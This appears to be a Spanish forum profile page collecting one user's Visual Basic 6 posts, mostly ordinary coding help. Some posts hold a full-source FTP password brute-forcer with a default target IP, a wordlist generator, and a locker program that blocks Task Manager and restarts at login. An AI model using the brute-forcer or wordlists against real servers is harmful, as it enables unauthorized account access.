|
|
Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.
Mensajes - 79137913
Páginas: [1]
1
« en: Miércoles 23 de Mayo de 2012, 16:44 »
HOLA!!!
Sorry por el bumping pero me habia equivocado de nombre.
GRACIAS POR LEER!!!
2
« en: Martes 15 de Mayo de 2012, 13:42 »
HOLA!!! Antes que nada, el codigo esta un poco desordenado pero funciona perfect. El programa es perfecto para cuando uno no quiere que accedan a la pc mientras uno no esta. Posee Calculadora integrada, Calendario y Tetris Si la pc se reinicia, el Programa al iniciar sesion se activa nuevamente. Bloquea el administrador de tareas. Queda "Always on top" Te dice la fecha y la hora. Metodos para Anularlo, bueno simple, entrar en modo a prueba de fallos y borrar o mover el exe. (o borrar el .bat que se crea en la carpeta inico). Una captura:  Atencion:Como cerrarlo? En el campo Nota1 poner el numero de dia en los primeros 2 caracteres En el campo Nota2 poner el numero de mes en los primeros 2 caracteres En el campo Nota3 poner el numero de año en los primeros 4 caracteres (en el caso del mes y el dia , si son menores a 10 habra que poner un 0 antes del numero) Ahi el boton salir funcionara... Presionamos salir (dblclick) Y en contraseña ponemos la hora y los minutos seguidos de "7913" Presionamos salir y listo. Ejemplo: hoy es 21/3/2011 y son las 02:51 pm
En nota1: "21" o "21 hola como andas"
En nota2: "03" o "03 todo bien"
En nota3: "2011" o "2011 si si"
En pass : "14517913"Descargar URL: http://adf.ly/8YWHvPuede llegar a ser detectado, igual tienen el codigo para verificar que funciona sin ninguna mala intencion  GRACIAS POR LEER!!!
3
« en: Miércoles 18 de Abril de 2012, 13:51 »
HOLA!!! Bueno... es un creador de diccionarios ni mas ni menos. Siguiendo... les dejo una captura, el source y el binario. Es mas para ejemplo que para usarlo, pero si no tenemos nada funciona  .  Código Const Sym As String = "/\!·$%&/()='""¡¿?<>., :;-_*+" 'Simbolos Const Num As String = "0123456789" 'Numeros Const Min As String = "abcdefghijklmnopqrstuvwxyz" 'Letras Minusculas Const May As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 'Letras Mayusculas Const SpL As String = "áéíóúàèìòùâêîôûäëïöüçñ" 'Letras Especiales Minusculas Const SpU As String = "ÁÉÍÓÚÀÈÌÒÙÊÎÔÛÄËÏÖÜÇÑ" 'Letras Especiales Mayusculas Dim Cad As String 'Cadena entera de caracteres Dim X As Long 'Para los Bucles Private Sub Inicio() Dim Letras() As String Dim Posiciones() As Long Dim Palabras() As String Dim a As Long Dim CT As Long Dim CantPos As Long Dim CantLet As Long Letras = CharSplit7913(Cad) CantLet = UBound(Letras) Open "C:\Dic7913.txt" For Output As #1 Close #1 ReDim Palabras(1000) For a = 0 To Val(MinMaxL(1).Text) - Val(MinMaxL(0).Text) CantPos = MinMaxL(0) + a - 1 ReDim Posiciones(CantPos) Do For X = 0 To CantPos Palabras(CT) = Palabras(CT) & Letras(Posiciones(X)) Next CT = CT + 1 Posiciones(0) = Posiciones(0) + 1 For X = 0 To CantPos - 1 If Posiciones(X) > CantLet Then Posiciones(X) = 0: Posiciones(X + 1) = Posiciones(X + 1) + 1 Next If CT = 1001 Then Open "C:\Dic7913.txt" For Append As #1 For X = 0 To 1000 Print #1, Palabras(X) Next Close #1 ReDim Palabras(1000) CT = 0 End If If Posiciones(CantPos) = CantLet + 1 Then GoTo Terminado Loop Terminado: Next If CT <> 0 Then Open "C:\Dic7913.txt" For Append As #1 For X = 0 To CT Print #1, Palabras(X) Next Close #1 CT = 0 End If MsgBox "Terminado", vbInformation, "Atencion" End Sub Private Sub Caracteres_Click(Index As Integer) 'Limita el checkbox de los caracteres extra si el cuadro de texto esta vacio If Index = 6 And Len(ExtraCHR.Text) = 0 Then Caracteres(6).Value = 0: MsgBox "El cuadro de texto de caracteres extra debe tener al menos un caracter", vbCritical, "Error" End Sub Private Sub Go_Click() Dim FlagCheck As Boolean 'Comprobacion de los minimos y maximos de longitud If Val(MinMaxL(0).Text) = 0 Then MsgBox "El minimo de longitud no puede ser cero", vbCritical, "Error": Exit Sub If Val(MinMaxL(1).Text) = 0 Then MsgBox "El maximo de longitud no puede ser cero", vbCritical, "Error": Exit Sub If Val(MinMaxL(0).Text) - Val(MinMaxL(1).Text) > 0 Then MsgBox "El maximo de longitud no puede ser menor que el minimo", vbCritical, "Error": Exit Sub 'Comprobacion de los checkboxes, minimo uno debe estar tildado For X = 0 To 6 If Caracteres(X).Value = 1 Then FlagCheck = True Next If FlagCheck = False Then MsgBox "Seleccione primero con que caracteres quiere hacer el diccionario", vbCritical, "Error": Exit Sub Cad = vbNullString 'Vacio el string Cad por si estaba lleno 'Lleno cad con la seleccion del usuario If Caracteres(0).Value = 1 Then Cad = Num If Caracteres(1).Value = 1 Then Cad = Cad & Sym If Caracteres(2).Value = 1 Then Cad = Cad & Min If Caracteres(3).Value = 1 Then Cad = Cad & Max If Caracteres(4).Value = 1 Then Cad = Cad & SpL If Caracteres(5).Value = 1 Then Cad = Cad & SpU If Caracteres(6).Value = 1 Then Cad = Cad & ExtraCHR.Text MsgBox "El Proceso esta por Comenzar, esto podria tardar mucho tiempo para frenarlo presione Ctrl+Shift+Esc y termine el proceso, el diccionario quedara incompleto (este se guarda en c:\Dic7913.txt)", vbInformation, "Atencion - Por Comenzar" Call Inicio ' llamo al inicio de proceso End Sub Private Sub MinMaxL_KeyPress(Index As Integer, KeyAscii As Integer) If Not IsNumeric(Chr(KeyAscii)) Then KeyAscii = 0 'Verifica que solo se ingresen numeros en el desde hasta. End Sub Private Function CharSplit7913(expression As String) As String() Dim lExp As Long Dim ExpB() As Byte Dim AuxArr() As String ExpB = expression lExp = UBound(ExpB) ReDim AuxArr(lExp) For X = 0 To lExp Step 2 AuxArr(X / 2) = ChrW(ExpB(X)) Next ReDim Preserve AuxArr(Int(lExp / 2)) CharSplit7913 = AuxArr End Function
Descargar Source y Binario: http://adf.ly/7Wsf8 GRACIAS POR LEER!!!
4
« en: Viernes 13 de Mayo de 2011, 21:00 »
HOLA!!!
TA-TE-TI.
GRACIAS POR LEER!!!
5
« en: Viernes 27 de Agosto de 2010, 19:22 »
Y, POR QUE NO GRAFICAS EN UN PICTUREBOX, AHI NO VAS A TENER NINGUN INCONVENIENTE
6
« en: Miércoles 4 de Agosto de 2010, 16:35 »
GENIO GRACIAS!!!
7
« en: Miércoles 4 de Agosto de 2010, 14:34 »
Bueno, te paso a explicar, primero vas a necesitar hacer un form con fondo blanco donde se encuentren todos los componentes que tiene el data report y en su debido sitio, despues de eso, un modulo para guardar variables de respaldo, y por ultimo codigo en el data report. Primero: EL FORM Aca ubicamos: Un textbox que simulara ser un label editable. (uno por cada label) Un label que simulara ser un el area donde se escriben los datos de la Bd. (uno por cada columna) Una linea que representa cada linea del reporte. (uno por cada linea) Un shape que representa cada shape del reporte. (uno por cada shape) Una imagen que representa cada imagen del reporte. (uno por cada imagen) Terminado esto hace que se puedan arrastrar a gusto por el form. Y por ultimo toma las propiedades de left y top de cada uno, eso guardalo en variables dentro del modulo Segundo: EL MODULO Aca ubicamos 2 variables (o un vector como mas te guste) por cada control que ubicamos en el form (cada una representa X e Y) Tercero: EL DATAREPORT Aca vas a ver el codigo y pones: Private Sub DataReport_Activate() label1.left = VARIABLE DE LEFT DEL TEXTBOX label1.top = VARIABLE DE TOP DEL TEXTBOX line1.left = VARIABLE DE LEFT DE LA LINEA line1.top = VARIABLE DE TOP DE LA LINEA ' Y ASI CON TODOS LOS CONTROLES End Sub
ESPERO QUE TE HAYA SERVIDO IGUAL YO SOY DE COMPLICARME XD. NO  CONTINUA  SUERTE!!! BUENO, VOY A SEGUIR LABURANDO  SINO EL JEFE ME PUEDE AGARRAR XP
8
« en: Miércoles 4 de Agosto de 2010, 13:37 »
No hay problema ;-)
9
« en: Lunes 2 de Agosto de 2010, 21:09 »
HOLA!!! Mira, no creo que nos tengas como expertos en VB6 como dice tu mensaje ya que lo googlee con cadena exacta y lo encontre en 3 foros mas, sinceridad aunque sea. Pero no importa, para mi, no deberias usar un control data report, yo para mis programas imprimo mediante codigo, aca te dejo el ejemplo que me inspiro para hacer esto, y lo que deberias hacer es un form con labels para arrastrar, de tal manera que luego genere el reporte mediante la posicion de los labels . Ahh y aca el MSDN de Microsoft que explica como usar la Clase Priter, es bastante facil. msdn.microsoft.com/ja-jp/library/microsoft.visualbasic.powerpacks.printing.compatibility.vb6.printer_members.aspx Private Type lineas Tarea As String Linea As String Cant As String PrecioUnitario As String PrecioTotal As String Descripcion As String Nhoras As String End Type Dim Filas() As lineas Dim x As Integer 'numero de registro de "Filas" Dim I As Integer Dim Contrato As String Dim Contratista As String Dim Ejec As String Dim Fenvio As String Dim Tarea As String Dim Tags As String Dim DescripcionTrabajos As String Private Sub Form_Load() x = 2 ReDim Filas(x) 'rellenamos los datos de las variables de prueba Contrato = "199827" Contratista = "Antonio Fdez." Ejec = "324" Fenvio = "19/11/06" Tarea = "EEAACC" Tags = "PAOEIRD" DescripcionTrabajos = "Inmunizacion de las bacterias gastroinservibles " & _ "de la traqueotomizacion" Filas(0).Tarea = "111" Filas(0).Linea = "11" Filas(0).Cant = "1111" Filas(0).PrecioUnitario = "11111 €" Filas(0).PrecioTotal = "11111 €" Filas(0).Descripcion = "Rendicion incondicional de las almorranas involuntarias" Filas(0).Nhoras = "34 H" Filas(1).Tarea = "222" Filas(1).Linea = "22" Filas(1).Cant = "2222" Filas(1).PrecioUnitario = "22222 €" Filas(1).PrecioTotal = "22222 €" Filas(1).Descripcion = "Caperucita solo tiene 16 primaveras sin flores" & _ " sin vida, va tanto el cantaro a la fuente que " & _ " se acaba rompiendo esternocleidomastoideo de la sin razon" Filas(1).Nhoras = "34 H" Filas(2).Tarea = "333" Filas(2).Linea = "33" Filas(2).Cant = "3333" Filas(2).PrecioUnitario = "33333 €" Filas(2).PrecioTotal = "333333 €" Filas(2).Descripcion = "quiero volar lejos de aqui escapar" Filas(2).Nhoras = "34 H" Impresion.Width = 297 'tamaño del formulario (solo para hacer pruebas) Impresion.Height = 210 'tamaño del formulario (solo para hacer pruebas) Me.Show IMPRIMIR End Sub Public Function IMPRIMIR() Dim PosY As Integer 'posicion columna Dim PosX As Integer 'posicion linea Dim Linea As Integer 'el tamaño maximo de la linea Dim Text As String 'va guardando el texto por bloques Dim Caracter As String 'recoge los caracteres Dim Palabra As String 'recoge la palabra Dim Dia As String Dim Mes As String Dim Ano As String 'le decimos la orientacion de las paginas, en este caso apaisada Printer.Orientation = 2 'modo de escala en milimetros Printer.ScaleMode = 6 'le decimos el tamaño de la escala, en este caso dinA4 en milimetros Printer.ScaleWidth = 297 Printer.ScaleHeight = 210 'el tamaño de la letra Printer.FontSize = 9 Printer.FontBold = False 'funcion colocar: el primer valor es el texto, el segundo la posicion _ en la fila y el tercero la posicion en la columna-> colocar texto, PosicionFila, _ PosicionColumna colocar Contrato, 5, 27 colocar Contratista, 41, 27 colocar Ejec, 100, 27 'Desglosamos fecha envio (ajustamos a las marcas del impreso / /) Dia = Mid$(Fenvio, 1, 2) Mes = Mid$(Fenvio, 4, 2) Ano = Mid$(Fenvio, 7, 2) colocar Dia, 228, 27 colocar Mes, 238, 27 colocar Ano, 248, 27 colocar Tarea, 1, 50 colocar Tags, 21, 50 colocar DescripcionTrabajos, 51, 50 PosY = 190 'marcamos el tamaño máximo que puede tener la descripcion por linea Linea = 41 For I = 0 To x colocar Filas(I).Tarea, 1, PosY colocar Filas(I).Linea, 21, PosY colocar Filas(I).Cant, 35, PosY colocar Filas(I).PrecioUnitario, 52, PosY colocar Filas(I).PrecioTotal, 74, PosY colocar Filas(I).Nhoras, 183, PosY Palabra = "" Text = "" x = 1 'imprimimos la descripcion (segun el tamaño de linea) 'Funcionamiento: le damos un texto de cualquier tamaño y 'esta parte nos lo ajustará según el tamaño de linea que escojamos 'en tantas filas como sea necesario, respetando las palabras completas. Do Caracter = Mid(Filas(I).Descripcion, x, 1) If Caracter <> " " And x <> Len(Filas(I).Descripcion) Then Palabra = Palabra & Caracter Else 'en el case que se ajuste a la linea If Len(Text) + Len(Palabra) = Linea Then colocar Text & " " & Palabra, 98, PosY Palabra = "" Text = " " PosY = PosY + 5 'en el caso que sea mayor que la linea ElseIf Len(Text) + Len(Palabra) > Linea Then colocar Text, 98, PosY PosY = PosY + 5 Text = Palabra Palabra = "" 'en el case que sea la ultima linea ElseIf x = Len(Filas(I).Descripcion) Then colocar Text & " " & Palabra & Right(Filas(I).Descripcion, 1), 98, PosY PosY = PosY + 5 Text = "" Palabra = "" Else 'todavía es menor que el tamaño de la linea Text = Text & " " & Palabra Palabra = "" End If End If x = x + 1 Loop Until x > Len(Filas(I).Descripcion) Next ' mandar el trabajo a imprimir Printer.EndDoc End Function Private Function colocar(texto As String, x As Integer, Y As Integer) Printer.CurrentX = x Printer.CurrentY = Y Printer.Print texto End Function 'Para evitar gastar papel "a lo tonto", lo mejor es hacer pruebas en un _ 'formulario para ello, comentar las lineas: 'Printer.Orientation 'Printer.EndDoc 'y sustituir en todo el formulario "printer" por el nombre del formulario, _ 'en este caso
SUERTE!!! No desistas pero si vas a un foro no seas adulador para que respondan tus preguntas, si no te sirve responde de nuevo aca y te digo la manera facil de editar un data report  , pero de verdad te recomiendo que uses el metodo printer, es mucho mas versatil.
10
« en: Lunes 2 de Agosto de 2010, 20:54 »
POR FAVOR, EL PROBLEMA ES QUE EL SERVIDOR SE DESCONECTA EN EL 4 INTENTO INVALIDO, PERO NO ME AVISA, SI AVISARIA, PODRIA HACER LA RECONECCION, PLZZ AYUDA, AUNQUE SEA EL MODERADOR QUE AYUDE.
11
« en: Viernes 30 de Julio de 2010, 17:00 »
Que les parece mejor usar bases de datos clasicas (.mdb) o utilizar bases de datos "propias" en archivos de texto plano
Pido opinion solamente.
GRACIAS!!!
12
« en: Viernes 30 de Julio de 2010, 14:47 »
HOLA!!! cuando declaras el vector lo declaras asi: dim Vector() as variant 'le puse nombre vector por que si y entre los parentesis no va nada, y variant por que no se que tipo de dato ingresas en el vector
o lo declaras asi: Private Vector() as variant 'le puse nombre vector por que si y entre los parentesis no va nada, y variant por que no se que tipo de dato ingresas en el vector
despues cuando lo usas usas la funcion "redim" redim vector(n) 'le puse nombre vector por que si, y entre los parentesis va n osea el numero de "casillas" que debe tener tu vector '####################################¡¡¡ATENCION!!!#################################### 'si el vector tiene datos dentro el numero que ingresas en el redim no puede ser menor al ultimo valor del vector 'osea si yo tengo el vector redimensionado a 25 y tengo datos del 0 al 20 no lo puedo redimensionar a 15 siempre mas que 20 '####################################¡¡¡ATENCION!!!####################################
GRACIAS POR LEER
13
« en: Miércoles 28 de Julio de 2010, 17:52 »
JAJAJA, ME VOLVI LOCO PERO SALIO!!! era mas simple de lo que pensaba Private Sub Command1_Click() Dim Cambio As Boolean, X As Byte, Y As Byte Cambio = True 'Hace que lo de abajo se ejecute Do While Cambio = True 'Se repetira hasta que no haga algun cambio Cambio = False For Y = 0 To (List1.ListCount - 1) ' Mira cada elemento desde el principio For X = Y + 1 To (List1.ListCount - 1) 'Mira desde el siguiente elemento hasta el final If List1.List(X) = List1.List(Y) Then 'Compara si son iguales List1.RemoveItem (X) 'Como si lo son procede a borrar el segundo elemento Cambio = True 'Le indica a vb que repita el proceso por otra posible repeticion End If Next X Next Y Loop End Sub
SUERTE!!! QUE TE SIRVA
14
« en: Miércoles 28 de Julio de 2010, 17:22 »
si, usa una matriz de controles en vez de labels sueltos
osea
label(0)
label(1)
bla
bla
label(40)
15
« en: Miércoles 28 de Julio de 2010, 17:18 »
HOLA!!!
Probaste usar un ocx que cargue el pdf directamente dentro del form?
esa seria una alternativa
sino antes de abrirlo movelo a un directorio especifico que tengas
SUERTE!!!
16
« en: Miércoles 28 de Julio de 2010, 16:42 »
HOLA!!! Como andan, quisiera que me revisaran el codigo de un FTP CRACKER por medio de un winSOCK(telnet) que hice recien . El proyecto a mi parecer esta completo, consiste en un proyecto (disculpen la redundancia) con el componente winsock, un form y un modulo bas normal. Dentro del form hay: 1 textbox multilinea llamado INx 1 texbox normal llamado OUTx 1 winsock llamado TELNET el codigo del form es este: Public CT As Integer Public FAILED As String Public ACUSER As String Public USER As String Public CONTROL As Integer Private Sub Form_Load() CONTROL = vbNo Telnet.RemoteHost = InputBox("HOST", "INSERTE", "173.236.40.122") Telnet.RemotePort = InputBox("PUERTO", "INSERTE", 21) FAILED = InputBox("CODIGO DE CONTRASEÑA INVALIDA", "INSERTE", 530) ACUSER = InputBox("CODIGO DE USUARIO ACEPTADO", "INSERTE", 331) USER = InputBox("USUARIO", "INSERTE", "admin") Call BORRAR_VECTOR Telnet.Connect End Sub Private Sub Form_Resize() If Me.Height > 701 Then inx.Width = Me.Width inx.Height = Me.Height - 700 outx.Width = Me.Width outx.Top = inx.Height End If End Sub Private Sub Form_Unload(Cancel As Integer) Telnet.Close End End Sub Private Sub telnet_DataArrival(ByVal bytesTotal As Long) Dim strData As String Telnet.GetData strData inx.Text = inx.Text & strData If CONTROL = vbNo Then Call ANALIZAR(Mid(strData, 1, 3)) End If If CT Mod 2 Then Call NUEVAPASS outx.Text = "pass " & PASS Call outx_KeyPress(vbKeyReturn) Else outx.Text = "user " & USER Call outx_KeyPress(vbKeyReturn) End If End Sub Private Sub outx_KeyPress(KeyAscii As Integer) If KeyAscii = vbKeyReturn Then Telnet.SendData outx.Text & vbCrLf outx.Text = "" outx.SetFocus End If End Sub Private Sub ANALIZAR(CODE As String) CT = CT + 1 If Not (CODE = ACUSER Or CT = 1 Or CODE = FAILED) Then CONTROL = MsgBox("CODIGO EXTRAÑO(" & CODE & ") CON PASSWORD ''" & PASS & "'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)", vbYesNo) End If End Sub
Y el codigo del modulo es: Dim PASSNUM(17) As Integer Dim PASSLET(17) As String Public PASS As String Public Sub BORRAR_VECTOR() PASSNUM(1) = 47 For X = 2 To 16 PASSNUM(X) = 0 Next X End Sub Public Sub NUEVAPASS() PASSNUM(1) = PASSNUM(1) + 1 Call ORDENAR Call CONVERTIR Call CONCATENAR End Sub Private Sub ORDENAR() For X = 1 To 16 If PASSNUM(X) = 124 Then If PASSNUM(X + 1) = 0 Then PASSNUM(X + 1) = 47 End If PASSNUM(X + 1) = PASSNUM(X + 1) + 1 End If Next X If PASSNUM(17) = 1 Then MsgBox "TODAS LAS CLAVES PROBADAS", , "ERROR" End End If End Sub Private Sub CONVERTIR() For X = 1 To 16 If PASSNUM(X) <> 0 Then PASSLET(X) = Chr(PASSNUM(X)) End If Next X End Sub Private Sub CONCATENAR() PASS = "" For X = 1 To 16 PASS = PASS & PASSLET(X) Next X End Sub
Si quieren usar algo del codigo no hay problema, pero igual es muy rudimentario. El problema principal es que bueno, tardaria mucho pero en fin, es fuerza bruta  GRACIAS DE ANTEMANO
Páginas: [1]
|
|
|
Mostrar Mensajes
